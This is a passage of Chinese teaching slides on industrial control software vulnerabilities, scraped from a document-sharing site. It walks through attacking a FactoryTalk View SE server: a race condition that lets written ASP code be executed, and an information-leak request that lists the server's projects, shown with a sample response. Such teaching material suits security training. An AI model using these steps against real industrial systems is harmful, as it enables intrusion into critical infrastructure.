。5.4工控軟件漏洞實踐79③競爭條件上面提到<FILENAME>在被創(chuàng)建的1秒鐘之內(nèi)就會被刪除。為了能夠在<TARGET>上執(zhí)行ASP代碼,需要在<FILENAME>文件寫入后立即對其進行訪問,這是一個典型的競爭條件漏洞。5.4工控軟件漏洞實踐80④信息泄露漏洞為了實現(xiàn)可靠的利用,有必要知道FactoryTalkViewSE服務(wù)器上現(xiàn)有的工程名稱<PROJECT_NAME>和路徑。通過以下請求,攻擊者可獲得服務(wù)器上現(xiàn)有的工程列表:http://<TARGET>/rsviewse/hmi_isapi.dll?GetHMIProjects5.4工控軟件漏洞實踐81例如,F(xiàn)actoryTalkViewSE將返回響應(yīng):<?xmlversion="1.0"?><!--Generated(MonMar614:48:262023)byRSViewISAPIServer,Version11.00.00.230,onComputer:DESKTOP-14Q01K4--><HMIProjects><HMIProjectName="FTViewDemo_HMI"IsWatcom="0"IsWow64="1"/><HMIProjectName="InstantFizz_HMI"IsWatcom="0"IsWow64="1"/><HMIProjectName="InstantFizz_SE"IsWatcom="0"IsWow64="1"/></HMIProjects>在XML中包含了項目名稱,可以在隨后的請求中使用它來顯示項目

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論